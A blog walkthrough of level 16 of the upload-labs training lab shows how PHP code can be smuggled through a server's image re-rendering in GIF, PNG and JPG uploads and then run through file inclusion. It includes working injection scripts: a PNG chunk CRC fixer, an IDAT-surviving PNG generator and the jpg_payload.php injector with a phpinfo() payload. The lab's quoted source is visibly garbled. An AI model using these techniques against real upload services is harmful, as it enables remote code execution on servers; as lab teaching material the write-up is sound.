The 16th level of upload Labs


When you open the 16th level, there is still no difference in tasks. Then look at the tips.


Rendered the picture? What is rendering? What can it do for upload vulnerability defense? With a bunch of question marks, I silently opened the source code.

$is_upload = false;$msg = null;if (isset($_POST['submit'])){
    // Get the basic information of the uploaded file, file name, type, size and temporary file path
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];


    // Gets the extension of the uploaded file
    $fileext= substr(strrchr($filename,"."),1);

    //Judge the file suffix and type, and upload only if it is legal
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
            //Use the uploaded image to generate a new image
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "The file is not jpg Format picture!";
                //Assign a file name to the new picture
                $newfilename = strval(rand()).".jpg";
                //Display the image after secondary rendering (new image generated using the image uploaded by the user)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                $is_upload = true;
        } else {
            $msg = "Upload error!";

    }else if(($fileext == "png") && ($filetype=="image/png")){
            //Use the uploaded image to generate a new image
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "The file is not png Format picture!";
                 //Assign a file name to the new picture
                $newfilename = strval(rand()).".png";
                //Display the image after secondary rendering (new image generated using the image uploaded by the user)
                $img_path = UPLOAD_PATH.'/'.$newfilename;

                $is_upload = true;               
        } else {
            $msg = "Upload error!";

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
            //Use the uploaded image to generate a new image
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "The file is not gif Format picture!";
                //Assign a file name to the new picture
                $newfilename = strval(rand()).".gif";
                //Display the image after secondary rendering (new image generated using the image uploaded by the user)
                $img_path = UPLOAD_PATH.'/'.$newfilename;

                $is_upload = true;
        } else {
            $msg = "Upload error!";
        $msg = "Only upload with suffix.jpg|.png|.gif My picture file!";

From the source code point of view, the server first checks the temporary file type uploaded, which is any of jpg, png and gif before uploading.

In the upload operation, a series of imagecreatefrom functions are used to obtain the data of the original file and create a new image file. Then rename the new image file.

1. imagecreatefromgif(): creates a canvas and loads an image from the GIF file or URL address

2. imagecreatefromjpeg(): creates a canvas and loads an image from a JPEG file or URL address

3. imagecreatefrompng(): create a canvas and load an image from the PNG file or URL address

So here I think this image rendering means that the server does not save the uploaded source file, but takes out the contents of the source file, creates a new file and renames it.

So what's the point? It's still that thing. Didn't you just change your name? Next, I directly uploaded the previous picture horse (replaced one sentence with phpinfo() for more intuitive effect), and found that I hit my face immediately.

This time we first use the gif image horse (it should be easier to bypass for png and jpg)


You can see that the gif image horse was uploaded successfully, but it did not achieve the expected effect when included in the file, and did not execute the phpinfo() we want to execute.

What's going on? I opened the shell.gif before uploading with HxD Hex Editor and found a problem by comparing it with 31717.gif in the server.

This is the hexadecimal display of shell.gif:

This is the hexadecimal display of 31717.gif on the server:

Obviously, you can see that the php code at the end of the file on the server is missing. I think this is what picture rendering does. How can we make the files in the server still save the code we want to execute?

For gif rendering bypass, we just need to find the position that has not changed before and after rendering, and then write the php code in, and we can successfully upload the picture with php code.

Through the careful comparison of the two documents, such an area is indeed found. We insert code directly into the file in HXD.


Save before uploading


This 10851.gif is the file uploaded to the server again after modification. Try again


This time, we succeeded directly. It seems that we have bypassed the secondary rendering of gif. Next, let's look at the bypass of png.

The bypass of png's secondary rendering is not as simple as gif.

png file composition:

Png picture consists of more than three data blocks. Png defines two types of data blocks. One is called critical chunk, which is a standard data block. The other is called auxiliary chunks, which are optional data blocks. The key data block defines three standard data blocks (IHDR,IDAT, IEND), which must be included in each PNG file.

Data block structure:


The value in CRC(cyclic redundancy check) field is calculated from the data in Chunk Type Code field and Chunk Data field. The specific CRC algorithm is defined in ISO 3309 and ITU-T V.42, and its value is calculated according to the following CRC code generation polynomial:



Data block IHDR(header chunk): it contains the basic information of the image data stored in the PNG file and appears in the PNG data stream as the first data block, and there can only be one file header data block in a PNG data stream.

The file header data block consists of 13 bytes, and its format is as follows.



The palette PLTE data block is an auxiliary data block. For the index image, the palette information is necessary. The color index of the palette is numbered from 0, followed by 1, 2... And the number of colors in the palette cannot exceed the number of colors specified in the color depth (for example, when the image color depth is 4, the number of colors in the palette cannot exceed 2 ^ 4 = 16). Otherwise, this will lead to the illegal PNG image.


Image data chunk IDAT(image data chunk): it stores actual data and can contain multiple image data chunks in continuous order in the data stream.

IDAT stores the real data information of the image. Therefore, if we can understand the structure of IDAT, we can easily generate PNG images


End of image data iend (image tracker chunk): it is used to mark that the PNG file or data stream has ended and must be placed at the end of the file.

If we carefully observe the PNG file, we will find that the 12 characters at the end of the file should always look like this:

00 00 00 00 49 45 4E 44 AE 42 60 82

After understanding the structure of png image file, you can bypass the secondary rendering. There are two ways.

1. Write PLTE data block

The bottom layer of php mainly performs CRC verification when verifying PLTE data blocks, so you can insert php code in the chunk data field, then recalculate the corresponding CRC value and modify it.

This method is only effective for png pictures of indexed color images. When selecting png pictures, it can be distinguished according to the color type of IHDR data block. (03 is the index color image)


Here, the php code has been written in the picture. Next, calculate the CRC of the PLTE data block.

CRC script:

import binascii

import re

png = open(r'2.png','rb')

a =


hexstr = binascii.b2a_hex(a)

''' PLTE crc '''

data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]

crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff

print hex(crc)

Operation results:


Then modify the CRC value


Save the modified picture and try to upload it again.


This is the picture uploaded to the server. Open it first to see if there is still code.


You can see that it still exists, and it is successfully parsed to include it in the file.


2. Write IDAT data block

Here are scripts written by foreign Daniel, which can be run directly.


$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,

           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,

           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,

           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,

           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,

           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,

           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,

           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {

   $r = $p[$y];

   $g = $p[$y+1];

   $b = $p[$y+2];

   $color = imagecolorallocate($img, $r, $g, $b);

   imagesetpixel($img, round($y / 3), 0, $color);




After running, get cs.png, upload it, then download it to the local and open it, as shown in the following figure:



For the bypass of jpg, the script of foreign leaders is also used_ payload.php



    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().

    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script

    2) Save the processed image and launch:

    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:

    1) After the second processing the injected data may become partially corrupted.

    2) The jpg_payload.php script outputs "Something's wrong".

    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:


    $miniPayload = "<?=phpinfo();?>";

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {

        die('php-gd is not installed');


    if(!isset($argv[1])) {

        die('php jpg_payload.php <jpg_name.jpg>');



    for($pad = 0; $pad < 1024; $pad++) {

        $nullbytePayloadSize = $pad;

        $dis = new DataInputStream($argv[1]);

        $outStream = file_get_contents($argv[1]);

        $extraBytes = 0;

        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {

            die('Incorrect SOI marker');


        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {

            $marker = $dis->readByte();

            $size = $dis->readShort() - 2;


            if($marker === 0xDA) {

                $startPos = $dis->seek();

                $outStreamTmp =

                    substr($outStream, 0, $startPos) .

                    $miniPayload .

                    str_repeat("\0",$nullbytePayloadSize) .

                    substr($outStream, $startPos);

                checkImage('_'.$argv[1], $outStreamTmp, TRUE);

                if($extraBytes !== 0) {

                    while((!$dis->eof())) {

                        if($dis->readByte() === 0xFF) {

                            if($dis->readByte !== 0x00) {





                    $stopPos = $dis->seek() - 2;

                    $imageStreamSize = $stopPos - $startPos;

                    $outStream =

                        substr($outStream, 0, $startPos) .

                        $miniPayload .



                                substr($outStream, $startPos, $imageStreamSize),


                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .

                                substr($outStream, $stopPos);

                } elseif($correctImage) {

                    $outStream = $outStreamTmp;

                } else {



                if(checkImage('payload_'.$argv[1], $outStream)) {


                } else {







    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {

        global $correctImage;

        file_put_contents($filename, $data);

        $correctImage = TRUE;




        return $correctImage;


    function custom_error_handler($errno, $errstr, $errfile, $errline) {

        global $extraBytes, $correctImage;

        $correctImage = FALSE;

        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {

            if(isset($m[1])) {

                $extraBytes = (int)$m[1];




    class DataInputStream {

        private $binData;

        private $order;

        private $size;

        public function __construct($filename, $order = false, $fromString = false) {

            $this->binData = '';

            $this->order = $order;

            if(!$fromString) {

                if(!file_exists($filename) || !is_file($filename))

                    die('File not exists ['.$filename.']');

                $this->binData = file_get_contents($filename);

            } else {

                $this->binData = $filename;


            $this->size = strlen($this->binData);


        public function seek() {

            return ($this->size - strlen($this->binData));


        public function skip($skip) {

            $this->binData = substr($this->binData, $skip);


        public function readByte() {

            if($this->eof()) {

                die('End Of File');


            $byte = substr($this->binData, 0, 1);

            $this->binData = substr($this->binData, 1);

            return ord($byte);


        public function readShort() {

            if(strlen($this->binData) < 2) {

                die('End Of File');


            $short = substr($this->binData, 0, 2);

            $this->binData = substr($this->binData, 2);

            if($this->order) {

                $short = (ord($short[1]) << 8) + ord($short[0]);

            } else {

                $short = (ord($short[0]) << 8) + ord($short[1]);


            return $short;


        public function eof() {

            return !$this->binData||(strlen($this->binData) === 0);




First find a JPG image, upload it to the server, then download it locally and save it as shell.jpg

Then use the script to process shell.jpg and insert php code. The command is as follows:

php jpg_payload.php shell.jpg

Payload will be generated after success_ Shell.jpg, upload it again.


Open it with HXD and you can see that the code still exists

Files containing can also be parsed normally


So far, the bypass of image file secondary rendering is over. Because it is difficult to understand and troublesome to operate, I will write a separate article.


Upload labs Pass-16 (secondary rendering bypass) - Fu Jie blog

Tags: PHP Apache

Posted on Thu, 28 Oct 2021 09:56:04 -0400 by gabe33